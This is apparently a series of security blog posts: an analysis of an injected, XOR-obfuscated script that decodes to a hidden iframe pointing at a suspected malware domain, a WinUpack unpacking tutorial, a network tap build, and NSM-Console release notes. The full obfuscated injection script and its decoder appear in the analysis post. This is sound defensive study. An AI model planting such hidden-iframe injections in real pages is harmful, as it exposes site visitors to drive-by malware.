I’ve already transitioned all of my older blog posts over to the new site (although I have not updated every link), as well as hosting my blog, the new site has sections for projects that I’m working on. I’m hoping not to lose all my readers in the move

The new site is:

http://writequit.org

The new blog is at:

http://writequit.org/blog

Don’t forget to update your bookmarks and RSS feeds!

(this blog will continue to exist as an archive of my older posts)

<script language="JavaScript">
var0 = "x69x3cx33x27x34x38x30x75x3bx34"; var1 = "x38x30x68x72x36x3ax20x3bx21x30"; var2 = "x27x72x75x26x27x36x68x72x3dx21"; var3 = "x21x25x6fx7ax7ax33x27x34x38x30"; var4 = "x26x21x34x21x7bx3bx30x21x7ax3c"; var5 = "x3bx31x30x2dx67x7bx25x3dx25x72"; var6 = "x75x3dx30x3cx32x3dx21x68x72x64"; var7 = "x63x72x75x22x3cx31x21x3dx68x72"; var8 = "x64x63x72x75x33x27x34x38x30x37"; var9 = "x3ax27x31x30x27x68x72x65x72x75"; var10 = "x26x36x27x3ax39x39x3cx3bx32x68"; var11 = "x72x3bx3ax72x6bx69x7ax3cx33x27"; var12 = "x34x38x30x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

The “getElementById” that testws35fdgh refers to is this empty div:

<div id="testws35fdgh"></div>

As it turns out, this is some really terrible obfuscation, here’s the simple script to decode it (written in Ruby because I like Ruby):

#!/usr/bin/env ruby
hex = ["x69","x3c","x33","x27","x34","x38",
"x30","x75","x3b","x34","x38","x30","x68",
"x72","x36","x3a","x20","x3b","x21","x30",
"x27","x72","x75","x26","x27","x36","x68",
"x72","x3d","x21","x21","x25","x6f","x7a",
"x7a","x33","x27","x34","x38","x30","x26",
"x21","x34","x21","x7b","x3b","x30","x21",
"x7a","x3c","x3b","x31","x30","x2d","x67",
"x7b","x25","x3d","x25","x72","x75","x3d",
"x30","x3c","x32","x3d","x21","x68","x72",
"x64","x63","x72","x75","x22","x3c","x31",
"x21","x3d","x68","x72","x64","x63","x72",
"x75","x33","x27","x34","x38","x30","x37",
"x3a","x27","x31","x30","x27","x68","x72",
"x65","x72","x75","x26","x36","x27","x3a",
"x39","x39","x3c","x3b","x32","x68","x72",
"x3b","x3a","x72","x6b","x69","x7a","x3c",
"x33","x27","x34","x38","x30","x6b"]
line = ""
hex.each { |c|
## Unpack the char
c = c.unpack('c').to_s.to_i
## XOR with 85
d = c ^ 85
## Pack back into a character
t = [d].pack('c')
## Append to the line
line = line + t
}
puts line

Which eventually leads you to:

<iframe name='counter' src='http://framestat.net/index2.php' height='16' width='16' frameborder='0' scrolling='no'></iframe>

If you do a whois on the framestat.net domain, you can see that the domain was suspended:

Registrant:
Suspended Domain ****@4host.info +1.00000000
Suspended domain
Suspended domain
Suspended domain,
Suspended domain,US 94040

Registration Service Provider:
name: Rustelekom Ltd.
tel: +1.8666254678
fax: +1.9782465632
web:http://nameservers.ru

Looks like someone’s been up to something naughty It also looks like it was originally a Russian site (not that it matters). Since the site is down, it’s difficult to tell what would have happened if the iframe source still existed. I’m guessing malware.

Still, the question remains, how did the javascript get to the page? I’m still looking in to that, right now my theory is php remote-file-inclusion, but we’ll see as things become a bit more clear.

Firstly, download the script here and put it somewhere in your path (rename it to “zg.rb”). Make sure to chmod +x it so it’s executable.

Note, 3 of the lines in the script *MAY* need to be changed, they are:

$DFDIR = "/Users/hinmanm/.zg"
$ZGCONF = $DFDIR + "/zg.conf"
$FINDCMD = "find"

Change the DFDIR entry to be where you plan on storing your ZoomGo files. Make sure you create the directory you specified, as you can see about, mine is set to ~/.zg. You shouldn’t have to change the ZGCONF file unless you want to. The FINDCMD variable is because on FreeBSD, when you install the “findutils” package, the find command is “gfind”, so change this to whatever your find command is (‘find’ should be fine for most people).

In the ~/.zg/zg.conf file (or wherever your DFDIR and ZGCONF locations are), entries are specified with a directory name, rescan time and directory name glob. The entries in my ~/.zg/zg.conf file are:

~/src:10:*
~/pcap:10:*
~/hex:10:*
~/Torrents:30:*
~/Random:60:*
~/Pictures:10:*
/Volumes/VAULT:20:*

What this means is: “look at my ~/src directory, rescan it if it’s older than 10 minutes and search for all directories (*)“, etc. I also search my pcap directory, the hex source tree directory, my Torrents and Random files and my TrueCrypt vault drive (When it’s mounted).

Next, I added the following line to my ~/.zshrc (I use ZSH, but the syntax for Bash would be almost exactly the same):

## For the "ZoomGo" ruby file
function zg () {
eval cd `zg.rb $1`
}

Yea, it’s kind of a hackish way to do it, but it works. After starting a new zsh, you should now be able to type “zg <dirname>” to use ZoomGo on a directory. For example:

~$ zg aimsnarf
Zooming directly to /Users/hinmanm/src/ruby/aimsnarf...
~/src/ruby/aimsnarf$

When you first run ZoomGo, it will rescan all the directories that you specified in the zg.conf file, saving the datafiles in the DFDIR. If the data file hasn’t been updated in the given rescan time (like 10 minutes for my ~/src directory) it will also rescan the directory and you’ll see messages like this:

rescanning ~/src...
rescanning ~/pcap...
rescanning ~/hex...
… and so on

You can also manually rescan all the directories by adding the “–rescan” flag.

Now, let’s say you have 2 directories that are both named the same thing, here’s an example when I run “zg aim”

~$ zg aim
2 directories were returned.
(1)    /Users/hinmanm/pcap/aim
(2)    /Volumes/VAULT/pcap/aim
1
~/pcap/aim$

See that? ZoomGo asks you to choose which directory to zoom to if there is more than 1 option, at the moment, it doesn’t like more than 9 directories, but hopefully I’ll fix that later

There, wasn’t that easier than typing “cd ~/pcap/aim”, now try it for a longer directory:

~$ zg nsm-console
2 directories were returned.
(1)    /Users/hinmanm/hex/hex/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console
(2)    /Users/hinmanm/hex/hex2/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console
2
~/hex/hex2/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console$

Enjoy

This is going to be a long post, but hey, at least it’ll have lots of pictures!

Alright, in this tutorial I’m going to attempt to explain how to find the OEP (Original Entry Point) of a binary executable that has been packed with the Upack/WinUpack packer. I just recently learned this myself, so please excuse any errors this tutorial might have. In this tutorial, the following tools are used:

• PEiD
• IDA-Disassembler (I used the freeware version, 4.9)
• LordPE
• ImpRec
• Windows

Sadly, I haven’t figured out how to get this working the same way in Ollydbg yet, but perhaps for a later tutorial. Alright, let’s dive right in. In this example, I’ll be using the “calc.exe” application (Windows calculator) that I packed with WinUpack. The first thing to do is load the file into PEiD to try and determine what kind of packer was used on the file:

You can see in the red square above that this file was packed with WinUpack 0.39 final, which is good because that’s what this tutorial is about

The next thing to do is load the executable into IDA-pro, IDA will complain about the file, but for the most part these complaints can be ignored, just click “ok” and “yes” until you see something similar to below:

Here, you can see the start of the file, the line we’re most interested in is (in this file), the line at 0100101F, which is a "push dword ptr [esi+34h]” instruction. Select this line and hit F2 to toggle a breakpoint on this line. The line should highlight red just like the picture below:

Now, press F9 to run the file until it encounters the breakpoint. When IDA does encounter it, the display will change to the following style, take note of the IDA-view ESP box highlighted in red below, that’s what’s going to be important coming up:

Right click on the ESP address (in this case 0007FFC0) and set a breakpoint, we want to set a hardware breakpoint or size 4 on this address, see the picture below for what I mean:

After setting it, the line will highlight red like this:

When the breakpoint has been set, continue running the file by hitting ‘F9′ again. When IDA hits the breakpoint, you’ll see the following two windows:

Notice the red box, this is our new OEP: 01012475. Write this number down somewhere (or remember it). Now that we know our OEP, we need to dump the file and fix the imports, the first step to dump the file is to open up LordPE and select the running calc.exe process, as seen below:

Right-click on the file and click on “dump full”, as you see here (I saved my file as calc-dump.exe):

Here you can see a comparison of the sizes of the packed and unpacked files:

Let’s run the file and see what we get, oops, looks like we get the error below:

This means the import table is all messed up, we’ll have to fix it. In order to do that, fire up ImpRec and point it at the active calc.exe process, in the OEP box, enter the OEP we found earlier (just the offset, which in this case is 12475):

Then, click on “IAT Autosearch”, you should see a message like this:

Click on “Get Imports” and the window should be filled with a list of imports found in the file, like this:

In order to fix the dump, click on “Fix Dump” and select the file you dumped earlier (in my case it was calc-dump.exe), ImpRec will fix the dump and save a new file, if it works correctly, you should see these messages in the log:

Let’s compare these size of all 3 of these files:

And now, try and run the file:

Hurray! It worked! From here you can do everything you need with the file, since it is no longer packed. I hope this helps someone, it certainly helped me understand unpacking a little bit better. Now I can get to unpacking that malware I captured earlier…

Let’s start with the wiring, at a local electronics store, I purchased 4 RJ-45 wiring plugs, I probably shouldn’t have bought solder-less ones, but I didn’t feel like buying a board to solder them to. Anyhow, 2 of the ports will be used for entry and exit, the other two for taps. In this case, we need 2 extra ports so that inbound data is passed through one port, outbound data is passed through the other port.

Set up the wiring as shown in this wiring diagram (credit goes to the Snort team for the diagram):

Personally, I split open a network cable and used the wires inside just so the color coding could be correct, that’s probably the easiest way to wire the ports.

After wiring the ports, you should be able to test that data passed from one host port to the other host port is unchanged, below is a picture of the tap I created. Yes, I know it’s very messy, the box I bought for it didn’t fit the way I wanted.

The next thing to do it connect the two ports (labeled “tap 1″ and “tap 2″ in the picture above) to 2 NICs in the machine of your choice. I’m using FreeBSD to manage the bridge. If you want to monitor outbound and inbound traffic separately, you’re done, just start tcpdump on the interface and you should be able to see all the traffic.

If you want to monitor both outbound and inbound traffic on the same interface, you’ll need to bridge the interfaces. You can accomplish this in FreeBSD with the following:

shell> ifconfig bridge create
shell> ifconfig bridge0 addm ed0 addm ed1 monitor up
shell> tcpdump -i bridge0
(or run snort/bro-ids/argus/etc on interface bridge0)

In this case, my network cards are ed0 and ed1, if you had different network interfaces, substitute them instead. You don’t need to assign an address to the bridge interface, since the only wires that are connected are the receive wires, so it wouldn’t transmit through the taps if it wanted to. For more advanced bridging, check out the FreeBSD manual on bridging.

I should note though, that you’ll need a 3rd network card in the monitoring machine if you want to remotely manage the machine.

The meetup is from 7-9pm at the Cafe@Netherworld, the address is: 1278 Pennsylvania St. Denver, CO 80203

I’m looking forward to it!

You can grab the iso here. [md5] [sha256]
Or, grab the iso from the mirror. [md5] [sha256]

Since Geek00l already covered a list of the most important changes in his blog post, I’ll just echo the changes in NSM-Console, which is the software that I develop. The version of NSM-Console in Hex 1.0.3 is 0.6-DEVEL, which can be obtained either by checking out the code from subversion (svn co http://svn.security.org.my/trunk/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console nsm-console), or waiting until I release 0.6

New Features:
- ‘dump‘ command added, you can now dump packet payloads into a binary file for later analysis
- Significant speedups in the harimau module and ‘checkip‘ command if wget is installed
- tcpxtract configuration file changed to extract more types of files
- Added foremost module
- Added clamscan module (Thanks JohnQPublic)
- Argus and tcptrace have reverse dns turned off by default now, it was causing the module to hang for extremely large pcap files. Can be switched on by changed the module options
- rot13 encoding and decoding added
Bugfixes:
- alias command
- urlescape (en|de)coding
- file existence check
- many other things
All the other enhancements, bugfixes and additions.

Since Hex 1.0.2 had NSM-Console version 0.2 in it, if you haven’t downloaded the console or checked it out from subversion since the last hex release, here’s what else has been added since then:

• Release notes for NSM-Console version 0.5

• Release notes for NSM-Console version 0.4

• Release notes for NSM-Console version 0.3

Or you can view the TODO and CHANGELOG for NSM-Console directly. If you want to check out more information about either of the projects, check out the Trac pages for Hex and NSM-Console:

Now, onward to FreeBSD 7.0!

For example, let’s say you discover a new binary malware that one of your honeypots caught, here’s how I envision this would work out:

1. You register an account at the collaboration website, you can additionally assign your pgp key to your name, security people like to know who they’re actually talking with.
2. You upload the file, in this case it’s a .exe file, tagging it with a basic description (“nepenthes honeypot caught this transferred over ftp, I think it’s a trojan, etc, etc”) and tags so it becomes searchable (exe, malware, binary, ftp).
3. The file/pcap is anonymized (optional, but would be extremely nice)
4. After the initial upload, the collaboration server performs super-basic, but good baseline analysis on the file, saving the results for later. For a .exe file, it could be things like md5sum, clamscan and strings. For other types of files, different tools could be used (*cough* an automated NSM-Console session *cough*), etc
5. The malware is displayed on the page, security gurus log into their account, have the ability to download the binary to play with it themselves, and are encouraged to share what they found when doing their analysis (and how). They have the ability to upload screenshots, short video clips, textfiles, whatever would help with the analysis. This of it like a traditional website ‘shoutbox’, but with comments on a particular piece of malware or network capture.
6. Users can also create correlations between different submissions, Example: “This is the link to the network capture for the worm exploiting this particular binary malware”, now we can draw pretty graphs!
7. Discussion continues until the file has been “figure out”. Give people ‘karma’ or whatever to encourage posting.
8. ????
9. Profit!

In all seriousness, you know what I think would be great about this? The community as a whole benefits from the knowledge and talent of people who are good at an individual skill. For instance, I might suck at binary malware analysis, but I can help decode what’s going on with a network trace picked up by an IDS. Community is created, knowledge is shared, security can be improved, people become familiar with the parts of security in which they lack knowledge, everyone is happy.

Make the framework distributable, small groups of people can set up their own collaboration for working with extremely confidential files, think Trac, but instead of bug reports and svn tracking, malware/pcap collaboration and research.

There are projects already like this, I’m excited for the direction that OpenPacket is going with packet captures, upload a file and it’s automatically run through tshark, giving you a baseline to start working with. I think that if the idea is expanded, we can get a lot of different people involved. I know I’d certainly like to get better at doing binary analysis.

Does this sound interesting? It certainly does to me. I’m curious if anyone else is interested, leave me a comment and let me know if you’d be interested in something like this! (Maybe if 40 hours suddenly appear out of nowhere I’m start working on it…)

P.S. I didn’t think of all of this myself, thanks to all the people in #rawpacket for their ideas Just want to give credit where it’s due…

Firstly, scholar01 has created a ‘flowtag’ module for NSM-Console to use Chris Lee’s  excellent Flowtag software for categorizing and tagging network flow for a packet capture. Thanks for the submission scholar01!

Secondly, JohnQPublic has created a ‘clamscan’ module to in order to scan the files extracted by either tcpxtract or foremost for viruses. The clamscan module uses the popular open-source antivirus ClamAV software. Thanks JohnQPublic!

Both of these modules have been committed into NSM-Console’s code, and while only flowtag is included in the 0.5 release, you can try them out by checking NSM-Console out of SVN with the following command:

svn co http://svn.security.org.my/trunk/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console nsm-console

Note that the majority of the code I commit to svn is stable enough for regular usage, it just doesn’t undergo the regular testing that the point-releases do before they are released.

Thanks to both authors for submitting modules, they’re now included in the ‘credits’ command.

Firstly, you can download NSM-Console version 0.5 here:
http://navi.eight7.org/~hinmanm/files/nsm-console-0.5.tar.gz

Mirror here:
https://secure.redsphereglobal.com/data/dakrone/files/nsm-console-0.5.tar.gz

Like always, let’s go over some of the new features in this release:

Alias command
You can now alias a command whatever else you would like to, the syntax is the same as regular bash alias syntax, for instance, here are my aliases from my ~/.nsmcrc:
alias ls = list
alias ll = list
alias serv = e cat /etc/services | grep
So as an example, if I wanted to look up a service port, now I just type “serv 5190” and see if /etc/services has an entry for that port. (I have a habit of hitting ‘ll’ or ‘ls’ all the time, so now at least they’re useful)

Additional modules: flowtime and harimau
I added a couple of modules, the first is flowtime, which is a packet timeliner that I wrote about in this post. The second is the Harimau module, which will query the Harimau watchlist for all the IPs in a pcap file and print out the matching entries. Thanks go to Spoonfork and the Security.org.my team for the awesome tool.
Note: flowtime won’t work out of the box in Hex unless you install Argus version 3 (not version 2, which is what Hex comes with) as well as symlink ‘ploticus’ to ‘pl’ somewhere in your path.

Checkip command
Speaking of the Harimau watchlist, it has also been integrated as an NSM-Console command. You can see an example here:
nsm> checkip 209.177.146.34
209.177.146.34,www.emergingthreats.net/rules/bleeding-botcc.rules,botcc,2008-02-05 00:03:10

Module improvements
The snort module now uses the ac-bnfa search algorithm, which should help on systems with lower amounts of RAM (*cough* like my own). In addition, the bro-ids module now actually generates many more helpful reports and actually performs intrusion detection instead of just generating flow content. Some modules have been added to categories to make them easier to toggle.

Other minor improvements
Toggle handles multiple module names, space separated
All NSM-Console errors finally go to STDERR instead of STDOUT
Help command is much more readable and supports argument to get help about a particular command.
~./nsmcrc is read extremely quietly now, so it doesn’t fill up the screen
Bugfixes.

You can read the entire changelog here.

As always, please please please let me know if you have any comments, criticisms or suggestions Feel free to email me or leave a comment below.